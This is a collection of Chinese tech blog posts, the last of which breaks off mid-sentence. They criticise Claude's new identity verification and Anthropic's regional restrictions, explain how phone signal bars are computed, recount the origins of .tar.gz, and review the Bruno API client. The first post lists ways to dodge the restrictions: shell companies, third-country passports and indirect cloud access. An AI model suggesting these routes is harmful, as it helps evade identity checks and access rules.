[{"content":"昨天很多人被一条消息炸到了，Claude 上线了身份验证，要你交护照照片加实时自拍。\n群里瞬间炸了。有人说「我寻思着我就写个代码，咋还得刷脸了」，有人说「这下好了，连绕路都不够用了，还得造身份」。\n我用 Claude 系列产品差不多快两年了，从最早的 API 到后来的 Claude Code，几乎天天在用，写代码、写方案、搞分析。所以这次身份验证的事，不是隔岸观火，是直接打在我身上的。\n也正因为用得深，我对 Anthropic 这家公司这几年干的事看得比较清楚。今天不想只聊身份验证本身，想把它背后那条线索捋一捋。\n很多小伙伴可能觉得，这不就是合规嘛，美国公司搞个验证有啥好说的？\n没那么简单。\n如果你把 Anthropic 这几年的政策串起来看，你会发现一个非常清晰的趋势，它在一步步构建一座围墙。每一块砖看起来都合情合理，但砌到最后，墙里的人发现自己越来越难出入了。\n咱们从头捋。\nAnthropic 的封闭之路，大致可以分成四个阶段。\n第一阶段是区域封锁。2023 年 Claude 上线，一批国家直接进了「不支持」名单，中国、俄罗斯、伊朗、朝鲜。这个阶段大家没太在意，OpenAI 也差不多，美国 AI 公司基本都这样。\n第二阶段是 API 管控。2024 年 OpenAI 率先封锁了中国区 API，给了开发者不到一个月缓冲期。Anthropic 跟进。这一刀下去，大量靠 Claude API 做产品的中国开发者被迫迁移，有的花了两个月才把业务切到别的模型上，客户掉了一截。\n第三阶段是资本审查。2025 年 9 月，Anthropic 更新了服务条款，打击面从「在中国的公司」扩大到了「被中国资本控股超过 50% 的公司」，不管你注册在新加坡还是开曼群岛。据《金融时报》报道，这一刀砍掉了「低数亿美元」量级的收入。Anthropic 是明知道亏钱，还是做了。\n第四阶段就是昨天的身份验证。护照照片加实时自拍，由第三方公司 Persona 处理。官方说法是防止滥用、遵守法律义务。\n大家注意看这四步，从封国家到封公司到封个人，打击精度越来越高，颗粒度越来越细。\n这让我想到一个东西，机场安检。\n911 之前，坐飞机基本不用脱鞋。然后是脱鞋，然后是开箱检查，然后是全身扫描，然后是液体不能超过 100 毫升。每一步都有道理，每一步都为了安全。但二十多年过去了，坐飞机的体验越来越差。\n而真正想搞事的人，从来不走正门。\nAnthropic 的安全策略走的是同一条路。\n说到这里，可能有小伙伴纳闷了，为啥 Anthropic 比 OpenAI 还激进？OpenAI 也封了中国，但人家至少没搞到「查你股东是哪国人」这个地步。\n要理解这件事，得从 Anthropic 的创始人说起。\nDario Amodei，意大利裔美国人。他父亲 Riccardo 是一个来自托斯卡纳的皮革匠人，母亲 Elena 是芝加哥出生的美国人，在伯克利给图书馆做装修项目管理。这个家庭组合不是典型的硅谷精英家庭，倒更像你在旧金山湾区随便转转就能碰到的那种中产。\nDario 本人是加州理工的物理学出身，后来转到普林斯顿读了生物物理学博士。转学科的原因很关键，2006 年他父亲 Riccardo 因为一种罕见疾病去世了。那个病在当时大约 50% 的致死率，但仅仅四年后，一项新的医学突破把这个数字降到了 5%。\n四年。就差了四年。\n这件事对 Dario 的影响极大。它让他建立了一个非常强烈的信念，技术进步可以救命，但如果进步的方向被扭曲或者速度被拖慢，代价是具体的人的生命。这也是为什么他后来一头扎进了 AI 安全领域。\n2016 年 Dario 加入 OpenAI，参与了 GPT-2 和 GPT-3 的开发，做到了研究副总裁。但 2021 年他带着妹妹 Daniela 和一批高管集体出走，创办了 Anthropic。\n出走的公开理由是「对 AI 安全的方向有分歧」。Dario 认为 OpenAI 在安全上做得不够，太急着商业化了。\n注意这个逻辑，他觉得世界上最知名的 AI 安全机构还不够安全，所以自己出来做一个更安全的。\n这个出发点我完全理解。一个因为「技术晚到四年」失去父亲的人，对风险的感知天然比一般人更敏锐。这甚至可以说是一种美德。\n但问题在后面。\n当「安全」从一个技术理念变成了公司的核心身份标签，它就不可避免地会从技术层面滑向政治层面。\nDario 在 2024 年发表了一篇长文叫「Machines of Loving Grace」，2026 年又写了续篇「The Adolescence of Technology」。他在文中列了五类 AI 风险，其中一条特别值得关注，就是 AI 被「对抗性国家」用于军事和情报用途。\n当一个公司的创始人把「对抗性国家」写进了核心风险框架，后面发生的所有事情就都有了根基。\nAnthropic 内部有一份文件，把中国定性为「adversarial nation」。这不是泄密，是他们公开政策的直接延伸。\n2025 年有过一次因为这件事引发的内部地震。一个叫姚顺宇的华人研究员，斯坦福理论物理博士，2024 年 10 月加入 Anthropic，直接参与了 Claude 3.7 Sonnet 的开发。但不到一年他就离职了，去了 Google DeepMind。\n他公开写了一篇博文，说离职原因中 40% 是因为 Anthropic 把中国定性为「对抗性国家」。他说他相信公司大多数人不认同这种措辞，但作为一个中国人，他没法继续待下去。\n一个参与核心产品开发的研究员，因为公司的地缘政治定位而出走。这个信号很重要，它说明 Anthropic 的安全叙事已经不只是技术框架了，它在影响人才的去留。\n说到这里，可能有人会问了，Anthropic 这些限制到底有没有用？能不能真的挡住恶意使用？\n我觉得大家可以看一个历史案例。\n1949 年冷战刚开始的时候，美国牵头搞了一个叫 COCOM 的国际组织，全名「巴黎统筹委员会」，专门协调西方国家对苏联的技术出口管制。半导体、计算机、精密机床，统统上了禁运名单。\n这个体系运行了 45 年，直到 1994 年苏联解体后才解散。\n效果怎么样呢？\n1986 年 CIA 自己做过一个评估，说苏联半导体产业落后美国大约八到九年。但 CIA 同时也说，这个差距更多是苏联自己的生产管理问题导致的，COCOM 封锁「可能」是因素之一，注意措辞，是「可能」。\n更打脸的是 1987 年曝出的东芝丑闻。日本东芝和挪威康斯贝格偷偷卖给苏联先进的铣床，让苏联海军造出了更安静的潜艇。COCOM 管了 38 年都没管住一台铣床。\n45 年的技术封锁，史上最严密的多国协调出口管制，最后 CIA 自己都承认效果有限，而且最大的漏洞来自内部。\n现在把这个故事和 Anthropic 放在一起看。\n你觉得一个身份验证加一个服务条款，能挡住什么？\n真正想搞事的机构和个人，开个壳公司，用第三国护照，通过 AWS Bedrock 间接调用，方法太多了。COCOM 管不住一台东芝铣床，Anthropic 的身份验证能管住一个懂点网络技术的工程师？\n被挡住的永远是那些想正经用 Claude 写代码、做研究、搭产品的普通开发者。他们不仅贡献收入，还贡献使用场景反馈和社区生态。\n这就是安全悖论的经典表现。就像机场安检升级了无数次，但后来真正造成伤亡的恐怖袭击，几乎没有一次是在机场安检环节发生的。安检越严，走正门的人越少，绕道的一个也没少。\n当然了，也不能说 Anthropic 完全没道理。美国政府确实在收紧对中国的技术出口管制，AI 领域尤其敏感。一家在美国融了上百亿美元的公司，不配合政策方向基本不现实。\n但配合政策和主动激进，是两件事。\nOpenAI 封了中国 API，没搞资本审查。Google 的 Gemini 在不少地区还能用。Meta 直接把 Llama 开源了，你想在哪跑就在哪跑。同样是美国 AI 公司，同样面对差不多的政策环境，Anthropic 选了最激进的那条路线。\n这不是被逼的，是选的。\n为啥选这条？因为从 2021 年 Dario 出走 OpenAI 的那天起，「我们比所有人都更安全」就是 Anthropic 的核心叙事。这个叙事帮他们融到了钱、招到了人、拿到了独特的市场定位。\n但叙事这个东西是有惯性的。一旦你把「安全」举到了最高处，你就很难在任何一个具体问题上选择宽松，因为每一次宽松都是在自己的核心故事上打折。\n所以身份验证不是终点，是中间站。按这个惯性走下去，下一步大概率是更严格的免费用户限制，或者更激进的内容过滤。\n回到咱们自己的处境。\n如果你也在用 Claude，不管是写代码还是做别的，这件事给你的信号已经很明确了，不要把全部家当押在一家公司的善意上。\nClaude 的技术实力毫无疑问是顶级的。就说代码能力，目前大概率是业界最强的那一档。\n但有个很讽刺的事你想想，我正在用的这个工具，它的母公司正在想办法让我更难用到它。\n工具终究是工具。你不能在别人随时可能收回去的地基上盖房子。\n国产模型这两年进步飞快。DeepSeek 在推理和代码上已经打到了第一梯队。开源的 Qwen、Llama、Mistral 你可以跑在自己机器上，不用看任何人脸色。\n多条腿走路不是因为某一条腿不好，是因为只有一条腿的时候，别人砍你一刀你就倒了。\n当然了，也不用太焦虑。Anthropic 的限制主要打的是直接使用 Claude 的场景，如果通过 AWS Bedrock 或者其他云平台间接调用，政策执行有时候会不太一样。而且技术领域变化快，现在看着铁板一块的限制，过两年说不定就松动了。\n不过有一件事我觉得值得大家认真想想。\nAnthropic 的案例揭示了一个更深的东西，那就是当一家公司把某种价值观变成商业品牌的时候，这个价值观就不再是单纯的理念了。它变成了一种路径依赖。\nDario Amodei 大概率是真心相信 AI 安全很重要的。一个因为「技术晚到四年」而失去父亲的人，他对风险的感知比我们任何人都深。这一点我不想否认，甚至非常尊重。\n但当「安全」变成了公司的身份标签、融资故事和竞争壁垒，它就必须不断升级、不断加码。否则叙事塌了，公司的根基也就塌了。\n用户在这个过程中，不是被保护的对象，而是被管理的对象。\n这条路不只适用于 Anthropic，也适用于任何一家以价值观立身的公司。当价值观变成了品牌，它迟早会反噬使用者。\n就像机场安检，你不能因为曾经有人带了危险品，就要求所有人飞行前先做一次全身 CT。安全的边界如果无限扩张，最后得到的不是更安全的天空，而是一个没人愿意坐飞机的世界。\n所以咱们能做的，就是别把自己的工作流绑死在任何一家公司的善意上。\n善意是会变的，能力留在自己手里才是真的。\n我是小盒子，咱们下篇见。\n","date":"2026-04-16T02:00:00Z","permalink":"/p/2026-04-16-claude-yao-ni-jiao-hu-zhao-le-zhe-bei-hou-cang-zhe-yi-ge-chuang-shi-ren-de-zhi-nian/","title":"Claude 要你交护照了，这背后藏着一个创始人的执念"},{"content":"上周末我跟朋友在一家小餐厅吃饭。\n他刚换了华为的新旗舰，掏出来拍菜，拍得特别起劲。拍着拍着抬头跟我说，你看这信号，满格。上次我来这家店一格都没有，换个手机完全不一样。\n我低头瞄了一眼自己的 iPhone。2 格。\n我没接话。\n换半年前，我大概率会跟着点头，说句确实新机天线牛。但最近因为一个偶然的原因，我知道了一件事。\n手机信号格，根本就不是一个物理量。\n它长得像物理量。塔往你手机上打信号，手机把信号强度换算成几条小竖线画在状态栏上，看上去跟温度计的水银柱没什么区别。\n但它不是。\n塔发给你手机的信号确实有一个客观单位，叫 dBm，4G 和 5G 里面用的具体指标叫 RSRP。这是整个通信行业的规矩，全世界同一个位置测出来都是同一个值，几十年没变过。可是从 RSRP 到状态栏上的「几格」这一步换算，是谁定的呢？\n手机厂商自己。每家一套。关起门来拍脑袋。\n苹果一套，华为一套，小米一套，OPPO 又是另一套。同一张桌子、同一张运营商卡，几台不同牌子的手机并排举起来，能给你凑出一整张阅读理解答案。大家都信以为真。\n但这只是第一层。它还有第二层，所以连手机厂商都不是最后拍板的人。\n2018 年 Google 发布 Android 9 的时候，悄悄在系统里加了一组 API，允许运营商通过一个叫 CarrierConfig 的机制，给手机远程下发信号条的阈值。直说就是，运营商可以告诉你的手机，RSRP 低于 -95 dBm 的时候显示 4 格，低于 -105 显示 3 格，低于 -115 只剩 1 格，具体数字由运营商自己填。两年后的 Android 11 把这套能力继续扩展到 5G NR 和 SINR 上，等于把信号条的每一个环节都交给运营商定义。\n以前我一直以为，手上的 iPhone 或者某台安卓手机，是两家公司跟我之间的合同。手机公司告诉我塔有多强，我信它。结果从 2018 年开始，这个合同里悄悄多了第三方。\n换一张运营商卡，同一台手机、同一个位置，信号格数量都可能跟着变。手机厂商不再是最后的裁判，运营商才是。\n这一下以前很多事情对上了。比如我上次去东南亚出差，一落地接上当地网络，同一台 iPhone 信号格莫名其妙就变好了。之前我还以为是当地基站比国内强，回头想明白，大概率是本地运营商发了一套比国内宽松得多的阈值，好让你觉得，至少还能聊微信。\n这些事其实都不新鲜。十六年前，苹果就当着全世界被同一个问题按在地上摩擦过一次。\n那年是 2010 年，iPhone 4 发布三天之内，用户发现左手握住机身左下角那条金属接缝，满格信号会唰一下掉到一格甚至断线。这就是后来被写进科技史的 Antennagate 天线门。\n苹果一开始的回应是乔布斯一封著名邮件，Just avoid holding it in that way，你别那么拿不就行了。但在幕后，苹果团队扎进去查问题的时候发现了一件比天线本身更让他们头皮发麻的事。iPhone 的信号条公式，写错了。\n同年 7 月 2 日，乔布斯亲自署名的公开信出现在苹果官网。原话是，我们震惊地发现，我们用来计算信号条显示几格的公式完全是错的，在很多情况下比应该显示的多画两格。两周后 iOS 4.0.1 发布，把公式按 AT\u0026amp;T 推荐的值重写了一遍。去年 10 月有个开发者把这两个版本的固件反编译对比，挖出核心改动只有大约 20 字节。苹果最著名的公关危机之一，技术上的修复是 20 个字节。\n按理说，一家巨头当众承认过「我们的公式完全错了」之后，行业应该吸取教训搞一个诚实点的显示。十六年过去了，结果完全不是。\n苹果自己的状态栏样式倒是翻来覆去改过好几轮。iOS 7 那会儿把 5 条大竖线换成 5 个小圆点，2017 年 iOS 11 又改回 4 条竖线，官方理由是给 iPhone X 的刘海腾状态栏空间。有意思的是，苹果不光换样式，还顺手把满格的门槛也调了。AnandTech 当年拿 iPhone 7 Plus 实测过两代系统，iOS 10 要求 RSRP 强过 -60 dBm 才给你满格（5 个圆点），到了 iOS 11 这个门槛放宽到了 -65 dBm（满格是 4 条竖线）。5 分贝听起来不多，放在通信这行里已经是肉眼可见的一大截。同一台 iPhone 在一个 -62 dBm 的位置，iOS 10 只给你 4 格（5 格里的第 4 格），换成 iOS 11 就直接满格 4 条。多出来的那一格不是因为塔变强了，是因为系统升级那天，苹果悄悄把满格的门槛降了一档。\n华为、小米、vivo、OPPO 也都一样。每家旗舰跟同一张 SIM 卡放在一起都能凑出三种不同答案，没有任何一家公开过自己的映射表。大家心照不宣地把「让你看着舒服」放在「让你看到真实值」前面。\n说到「心照不宣」，顺便聊几件业内都知道、但运营商和手机厂商从来不会主动告诉你的事。\n先说一个最常见的。信号满格跟你能不能打通电话、能不能发出去微信，根本是两回事。\n信号条的公式不管哪家怎么定，算的都是你手机跟塔之间那根电波强不强，算出来的是一个单纯的接收功率。它只反映一件事，你离塔有多近、中间隔了多少墙。但它完全不反映另一件事，那个塔现在还有没有空位留给你。\n你肯定遇到过这种场景。演唱会现场、跨年夜外滩、春运候车厅、世界杯的体育场，手机满格，微信发不出去，红包抢不到，电话打不通。真相是塔那头的信道资源已经被塞爆了。一个基站能同时服务的用户数有物理上限，超了之后新来的用户信号再强也上不去。信号条不管这个。它就跟一家酒店的大堂经理一样，永远微笑着告诉你我们这儿很豪华，从来不告诉你今晚没房。\n再说一个你每天都在用但不知道原理的。你以为**「切一下飞行模式再关掉」**是个玄学小妙招，背后其实有实打实的技术原因。\n手机在 idle 状态下挑基站有一个惰性原则，只要当前连着的那个塔没掉到阈值以下，手机就不会主动去换塔，哪怕旁边有一个更强的。这是 4G 和 5G 协议里写死的 cell reselection 机制，为的是省电和避免频繁切换抖动。所以你从好位置走到不好的位置，手机很可能还赖在原来那个早就不够用的老塔上，死死不放。这时候你打开飞行模式，手机断开所有射频连接，再打开它被迫重新扫一遍所有可用基站，挑一个最强的连上，信号就「突然变好了」。\n最后一个。你状态栏上那个 5G 图标，很多时候跟 5G 没太大关系。\n5G 有两种部署方式，SA 独立组网和 NSA 非独立组网。国内三大运营商早期铺的 5G 基本都是 NSA，简单说就是手机同时挂在 4G 和 5G 两个基站上，下行跑 5G 快一点，上行（你发微信、发朋友圈、发视频那些）还是走 4G。状态栏只告诉你显示了 5G，不告诉你上行其实还在 4G。\n最离谱的例子发生在 2018 年底的美国。AT\u0026amp;T 直接把 4G LTE Advanced 的网络标成 5G E，E 是 Evolution 演进的意思，堂而皇之地在用户的 iPhone 和安卓机状态栏上显示「5G E」三个字。整个美国通信圈把这事儿嘲笑了整整两年。2019 年 1 月 7 日，T-Mobile 官方推特发了一个短视频，视频里有人往一台 iPhone 屏幕上贴了一张写着「9G」的便利贴，配文「没想到升级这么简单，我先去更新一下」。后来美国广告审查机构 NAD 正式建议 AT\u0026amp;T 停用 5G Evolution 这个说法，但那个 5G E 图标一直留在状态栏上没删。\n说了这么多，你其实也能自己亲手看一眼塔发给你手机的东西到底有多强。\niPhone 上，打开拨号盘输入 *3001#12345#*，按绿色拨号键。手机会直接进入一个叫 Field Test Mode 的隐藏界面，里面有一个 RSRP 数字。负数，越靠近 0 越强。一般 -80 以上算不错，-100 到 -110 之间开始掉速度，-115 以下基本就是快断线的状态。iOS 18 之后这个界面还顺便加了 SINR，信号质量指标，数字越大越好。\nAndroid 上拨号盘敲 *#*#4636#*#*，进入菜单里的「手机信息」或「SIM 卡状态」，就能看到原始的 dBm 读数。少数深度定制系统把这个入口堵上了，大部分机型还留着。小米用户也可以在 设置 → 我的设备 → 全部参数 里直接找到 SIM 卡状态。\n下次你在一个信号满格但微信发不出去、电话打不通的地方，可以拨一下那个代码试试看。屏幕上跳出来的那个负数，才是今晚塔真正愿意送到你兜里的东西。至于状态栏上那几条小竖线，它从来不是一个测量结果。它是一家手机厂商、一家运营商、外加一个远在硅谷或者深圳的产品经理，三方坐在一起商量之后，决定「让你看着还行」的一个小动画。\n回到开头那家小餐厅。我朋友那台华为满格，我那台 iPhone 2 格。它们其实都没错，也都没真对，只是两家不同公司的产品经理对「你应该感觉有多安心」给出的两种不同答案。那个塔呢，它从头到尾就在餐厅外面，不多不少地发它那一点 dBm。\n会变的，只有兜里那块屏幕替它说出来的话。\n","date":"2026-04-15T13:31:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-15-wei-shen-me-shou-ji-xin-hao-ge-zui-duo-5-ge-er-qie-mei-y/cover.jpg","permalink":"/p/2026-04-15-wei-shen-me-shou-ji-xin-hao-ge-zui-duo-5-ge-er-qie-mei-yi-ge-dou-shi-pian-ni-de/","title":"为什么手机信号格最多 5 格，而且每一格都是骗你的"},{"content":"前两天我在重新编译一版 nginx。\n流程基本闭着眼睛都能走。wget 拉下来一个 nginx-1.27.4.tar.gz，tar -xzvf 解开，进目录，./configure，make，make install。\n敲完 tar 那条命令的一瞬间，我突然愣了一下。\n这个 .tar.gz，两个后缀。\n我用了大概十几年，从来没认真想过为什么要两个。\n顺着这事我又想起来，我这双手对 tar 的记忆完全是肌肉记忆，xzvf 这四个字母该按什么顺序，大脑是不参与的，手指自己会动。正因为是肌肉记忆，我还踩过一个经典坑，偶尔下载到没有顶层目录的 tar 包，照样一梭子解下去，几十个文件啪一下全炸到当前目录，瞬间把工作目录变成垃圾场。\n那种时候我一边 ls | xargs rm 一边告诉自己下次一定先 mkdir。\n但下次还是不会。\n人对每天都在用的东西是最没好奇心的。\n说回 .tar.gz。这两个后缀到底是什么关系，为什么非得拆成两个。\n我带着这个疑问查了一圈，发现这事比我想象的有趣得多。它不是什么历史包袱，也不是约定俗成的命名习惯，它是两个时代两个工具掰着手指头拼出来的一个结果。\n先说 tar。\ntar 这个命令，最早出现在 1979 年 1 月的 Unix Version 7 里，AT\u0026amp;T 贝尔实验室做的。名字也没什么加密的缩写，就是 Tape ARchive。翻译过来，磁带归档。字面意思。\n你可以想象一下 1979 年。那会儿大家备份数据靠的是磁带，就是老电影里那种两个圆盘转啊转的大盘子，数据一圈一圈顺序刻在带子上。你不能跳着读，也不能中间插一段，只能从头到尾一次性过。\ntar 这个工具的出生使命，就是为了给磁带服务的。\n所以它做的事情特别简单，就一个动作，把一堆小文件按顺序拼成一条长长的字节流，好让磁带机一口气写下去。\n注意，我说的是「拼成一条流」。\ntar 压根就不压缩。\n你拿 tar 把一个 100MB 的目录打成一个包，出来的文件还是 100MB，一个字节都没省。它只是把这些东西排成一列而已，没做别的事情。\ntar 文件内部的最小单位是 512 字节一块，这个数字也不是随便选的。它就是 Unix V7 文件系统磁盘扇区的大小。1979 年的一个选择，刻在所有 tar 文件的基因里，一直刻到今天。 所以 tar 管的事情，就到「拼」为止。\n那压缩呢？\ntar 不管。\n这事儿一直到 1992 年才有人接手。\n那一年，两个叫 Jean-loup Gailly 和 Mark Adler 的人做了一个东西叫 gzip。Gailly 写压缩，Adler 写解压，1992 年 10 月 31 号，gzip 0.1 正式发布。\n这里有个背景值得一提。在 gzip 之前，Unix 自带的压缩工具叫 compress，用的是 LZW 算法。但 LZW 被 Unisys 和 IBM 捏在手里，九十年代初开始到处收钱，开源圈被整得很紧张。gzip 就是被逼出来的替代品，用的是另一个叫 DEFLATE 的算法，完美绕开了专利地雷。\n这段往事本身就够写一篇文章的，但今天我们只关心一个点。\ngzip 做的事也特别简单，就一个动作，把一条字节流压缩成一条更短的字节流。\n你注意到了吗？gzip 也很轴。它只认「一条流」。你不能拿 gzip 去压一个目录，它不认识目录这回事。给它一个文件，它就吐一个压缩后的文件，给它一条流，它就吐一条压缩后的流。别的事它一概不管。\ntar 只打包不压缩，gzip 只压缩不打包。\n两个工具，谁都不会干对方的活。\n那怎么办？\n中间用一根 Unix 管道粘起来。\n1tar cf - mydir | gzip \u0026gt; mydir.tar.gz 这条命令左边 tar 把 mydir 打成一条流，用 - 表示「别写文件，直接吐到标准输出」。中间一个 |，把这条流接到 gzip 的嘴边。右边 gzip 啃完这条流，吐出一条压缩过的流，重定向到 mydir.tar.gz。\n一个 | 符号，两个工具，一条流水线。\n你看到的那个 .tar.gz，就是这条流水线走完之后自然掉下来的结果。它的后缀之所以是两个，是因为这个文件真的经历了两道工序。第一道叫 tar，第二道叫 gz。后缀诚实地告诉你它是谁。\n这里顺便说一句 tar 后来的 -z 参数。\nGNU tar 的作者们觉得每次写管道太烦，加了一个 z 参数，告诉 tar，你要压缩的时候帮我顺手调一下 gzip。这就是为什么我们今天敲 tar -xzvf 这个 z。但你要知道，是 tar 在「替你调 gzip」，不是 tar 自己会压缩。四十五年过去了，tar 本体始终没长出压缩这项能力。\n这个决定非常 Unix，非常硬核。\n有意思的是，几乎就在 tar 过着自己小日子的同一年代，大洋对岸的 DOS/Windows 世界走了完全不同的一条路。\n1989 年，美国程序员 Phil Katz 在 DOS 上搞出 PKZIP，顺手发明了 .zip 格式。zip 跟 tar + gzip 的哲学几乎是正相反的，一个工具同时做两件事，既打包又压缩，一把梭到底。\n四年之后的 1993 年，另一个年轻人进场了。俄罗斯程序员 Eugene Roshal 发布命令行 RAR，1995 年又推出图形界面版 WinRAR。RAR 是 Roshal Archive 的缩写，字面意思就是「Roshal 的归档」，一个用作者自己名字命名的格式，主打比 zip 更高的压缩率。\nWinRAR 这个软件顺便还成了互联网历史上最著名的「永恒试用版」。它写着 40 天试用期，但过期后不会拦你，只会弹一个很客气的提示让你买 license，你关掉它接着用，下次再弹。这个 40 天续命了二十多年，全球无数人用了一辈子没付过钱，它也不生气。这事本身已经成了一个互联网梗。\n这一路跟 Unix 那边的区别非常明显，一个软件管到底，打包压缩全包在一个 exe 里。后来 1999 年俄罗斯人 Igor Pavlov 又搞了开源的 7-Zip，自带一个 .7z 格式，压缩率再往上提一截。1996 年 Julian Seward 做的 bzip2、2009 年 Lasse Collin 做的 xz 也都先后加入了这个江湖，压缩格式的主要玩家基本就是这些人了。\n但你注意到一个很好玩的分化没有。\nbzip2 和 xz 这两个后来的家伙，在 Unix 世界里叫什么？.tar.bz2 和 .tar.xz。tar 先把文件拼成流，bzip2 或者 xz 接着压。换压缩工具可以，换哲学不行。Unix 那边认死一件事，打包和压缩必须是两件事，永远是两件事。\nWindows 那边正相反，出了更强的算法，就把旧软件整个换掉，一个 exe 管到底。\n这已经不只是格式之争了，是两个世界对「一个工具应该长成什么样」的根本分歧。\n为什么 Unix 那边坚持要拆？\n这就得搬出 Doug McIlroy 了。\n1978 年，贝尔实验室的 McIlroy 在 Bell System Technical Journal 上写了一段后来被反复引用的话，核心就三句。\n“\n写程序要让它们只做一件事，并且把这件事做好。\n写程序要让它们互相协作。\n处理的东西最好是文本流，因为那是通用接口。\n这就是后来被叫作 Unix 哲学的那一段。\n但这段话最有意思的一点，不在文字本身。在于说这话的人是谁。\nDoug McIlroy 不光是写这段话的人，他同时还是 Unix 管道 | 这个符号的发明者。\n你品一下这个巧合。\n他说「让程序互相协作」的时候，他心里想的不是什么抽象的合作，他想的就是管道。一个程序的输出，通过一根 |，无缝流进下一个程序的嘴里。小工具、单一职责、用管道粘起来，组合出任意复杂的流水线。\n.tar.gz 就是这段话最直白的产物。\ntar 是第一个只做一件事的小工具，gzip 是第二个只做一件事的小工具，中间那根 | 是 McIlroy 本人发明的管道。你每打一个 .tar.gz 文件，都是在重演一遍 1978 年那段话。\n这就是为什么我说它是活化石。\n化石这个词听起来像是死掉的东西，但 .tar.gz 不是。你今天去 GitHub 上随便点一个 C 项目的 release，下载下来的几乎永远是 .tar.gz，不是 .zip。Linux 内核、nginx、curl、redis，全都是。它不是因为惯性才活着，它是因为那套哲学在今天依然被认为是对的才活着。\n所以回到开头那个问题。\n为什么 .tar.gz 要两个后缀？\n因为它不是一个文件，是两个工具排成的一条流水线，每个后缀对应一个工位。你看到的是这条流水线吐出来的结果。\n下次你再敲 tar -xzvf some-thing.tar.gz 的时候，可以稍微多看两眼那个 z。\n那个 z 不是 tar 在解压。\n那是 tar 在回头喊一声 gzip，过来搭把手。\n两个工具，一根管道，四十五年。\n","date":"2026-04-13T23:00:00Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/cover.jpg","permalink":"/p/2026-04-13-wei-shen-me-tar-gz-yao-liang-ge-hou-zhui/","title":"为什么 .tar.gz 要两个后缀"},{"content":"Postman 我用了好几年了。\n从最早的 Chrome 插件时代开始用的，那时候它还是个轻量小工具，打开就能测接口，干干净净。但最近这两年，怎么说呢，它开始「端着」了。\n打开就让我登录。不登录不让用。\n好不容易登录了，又弹窗让我升级 Team 版。\n集合还给我存到云端去了。我就测个本地接口，你把我的请求数据往你服务器上传干嘛？\n我一直忍着，直到有一天，团队里两个人同时改了同一个集合，Postman 云同步直接给合并冲突了，还没法像 Git 那样 diff 看变更。那天我就想，不行了，得换。\n然后我遇到了 Bruno。\n怎么形容呢，就像你一直在用一个越来越臃肿的 IDE，突然有人递给你一个 Vim，告诉你「够用了，而且是你的」。\nBruno 干了一件特别简单但特别对的事情，它把你的 API 请求存成 .bru 文件，放在你本地文件夹里。\n就是普通的文本文件，打开长这样。\n1meta { name: 用户登录 type: http seq: 1}post { url: {{baseUrl}}/auth/login body: json auth: none}headers { Content-Type: application/json}body:json { { \u0026#34;username\u0026#34;: \u0026#34;{{username}}\u0026#34;, \u0026#34;password\u0026#34;: \u0026#34;{{password}}\u0026#34;, \u0026#34;expiresInMins\u0026#34;: 30 }}script:post-response { if (res.status === 200) { bru.setVar(\u0026#34;authToken\u0026#34;, res.body.accessToken); bru.setVar(\u0026#34;userId\u0026#34;, res.body.id); }}tests { test(\u0026#34;登录应该返回 200\u0026#34;, function() { expect(res.status).to.equal(200); }); test(\u0026#34;响应中应该包含 accessToken\u0026#34;, function() { expect(res.body.accessToken).to.be.a(\u0026#34;string\u0026#34;); expect(res.body.accessToken.length).to.be.greaterThan(0); }); test(\u0026#34;响应中应该包含用户基本信息\u0026#34;, function() { expect(res.body.id).to.be.a(\u0026#34;number\u0026#34;); expect(res.body.username).to.equal(\u0026#34;emilys\u0026#34;); expect(res.body.email).to.be.a(\u0026#34;string\u0026#34;); }); test(\u0026#34;响应时间应该小于 3 秒\u0026#34;, function() { expect(res.responseTime).to.be.lessThan(3000); });} 你看，GET 请求、Header、Body、断言，全都是纯文本。你用任何编辑器都能打开它，改完保存就行。\n这玩意最不同的地方在哪？\n它可以用 Git 管理。\n以前团队共享 Postman 集合，那叫一个痛苦。谁改了什么不知道，版本对不对不确定，冲突了还没法 resolve。\n现在用 Bruno，接口定义就是文件，扔进 Git 仓库，该 PR 就 PR，该 Code Review 就 Code Review。有人改了某个接口的 Header，diff 里看得一清二楚。\n用程序员已经会的工具，解决程序员的问题。不用学新的协作方式，不用付费，不用担心数据被传到哪个云上。\nBruno 官网上有一句话我印象特别深，大意是**「我们不会同步你的任何数据到云端，甚至连登录的概念都没有。我们看不到你在 Bruno 里输入了什么，也不会用你的数据训练任何 AI 模型」。**\n在这个年代，一个工具敢这么说，我觉得还是挺硬气的。\n回到工具本身。说到这里，可能有朋友会想，开源 API 客户端一抓一大把，Insomnia、Hoppscotch、Thunder Client，凭什么是 Bruno？\n我自己用下来，让我有「这玩意不一样」的瞬间，是发现它有 CLI。\n但我说的不是「能在终端里跑测试」这种废话。Newman 也能跑，Postman 自己也有命令行。我说的是另一件事。\nBruno 的 CLI，让 Claude Code 和 Cursor 这种 AI 编程工具，第一次能真正帮你写和跑接口测试。\n这话有点大，我用两件刚发生的真事讲一下。\n回到 Bruno 的 CLI 本身。装它就一行，\n1npm i -g @usebruno/cli 装完之后命令叫 bru，跑整个集合的测试是这样，\n1bru run --env production 输出长这样。\n干净、彩色、有 ✓ 和 ✗、有总耗时、有失败原因。最重要的是，这是一段普通的终端命令，输出是普通的文本。\n为什么这件事重要？因为这两个特征，正好是 AI 编程 agent 工作的边界。\nClaude Code、Cursor、Codex 这些工具，它们能干什么？它们能读你的代码文件，能写新的文件，能在终端里跑命令，能读命令的输出。它们不能干什么？它们不能点击 Postman 的按钮，不能在你 GUI 里输入 token，不能登录任何账号。(或者说不方便，成本高，效率低)\nPostman 的核心数据存在云端、操作靠 GUI、协作靠登录，这三件事每一件都把 AI agent 挡在外面。\n而 Bruno 的核心数据是 .bru 文本文件、操作靠 CLI、协作靠 Git。每一件都正好是 AI 最擅长的那种事。\n抽象的说完了，说点具体的。\n我前两天就让 Claude Code 帮我加了一个测试，过程是这样的。\n我跟它说，「我刚加了一个搜索商品的接口，帮我在 bruno 集合里加个测试用例」。\n它干了三件事，全程没问我任何问题。\n第一步，读了我现有的一个 .bru 文件，就是为了搞清楚我用的格式。比如我习惯加哪些 test，断言风格是什么样的。\n第二步，照着这个格式写了一个新的 06-搜索商品.bru 文件，放在我集合的根目录里。请求方法、URL、query 参数、4 条断言，全都给我加上了。\n第三步，它直接执行 bru run 06-搜索商品.bru --env production，亲眼看着 4 个测试全绿，然后才回我一句「写完了，4/4 通过」。\n整个过程我没碰 Bruno 的 GUI，没敲一个字符的代码，没解释什么是 .bru 格式。AI 